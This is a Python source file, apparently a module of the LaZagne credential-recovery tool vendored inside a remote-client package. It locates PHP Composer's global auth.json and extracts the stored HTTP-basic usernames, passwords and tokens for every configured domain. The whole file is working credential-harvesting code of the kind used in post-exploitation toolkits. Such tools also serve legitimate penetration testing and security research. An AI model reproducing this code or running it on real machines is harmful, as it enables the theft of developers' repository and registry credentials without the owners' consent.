blob: a476261e21292693f4f14df85f11ecab52ea96e7 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
# -*- coding: utf-8 -*-
import json
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.constant import constant
import os
class Composer(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'composer', 'php')
def extract_credentials(self, location):
"""
Extract the credentials from the "auth.json" file.
See "https://getcomposer.org/doc/articles/http-basic-authentication.md" for file format.
:param location: Full path to the "auth.json" file
:return: List of credentials founds
"""
creds_found = []
with open(location) as f:
creds = json.load(f)
for cred_type in creds:
for domain in creds[cred_type]:
values = {
"AuthenticationType" : cred_type,
"Domain" : domain,
}
# Extract basic authentication if we are on a "http-basic" section
# otherwise extract authentication token
if cred_type == "http-basic":
values["Login"] = creds[cred_type][domain]["username"]
values["Password"] = creds[cred_type][domain]["password"]
else:
values["Password"] = creds[cred_type][domain]
creds_found.append(values)
return creds_found
def run(self):
"""
Main function
"""
# Define the possible full path of the "auth.json" file when is defined at global level
# See "https://getcomposer.org/doc/articles/http-basic-authentication.md"
# See "https://seld.be/notes/authentication-management-in-composer"
location = ''
tmp_location = [
os.path.join(constant.profile["COMPOSER_HOME"], u'auth.json'),
os.path.join(constant.profile["APPDATA"], u'Composer\\auth.json')
]
for tmp in tmp_location:
if os.path.isfile(tmp):
location = tmp
break
if location:
return self.extract_credentials(location)
|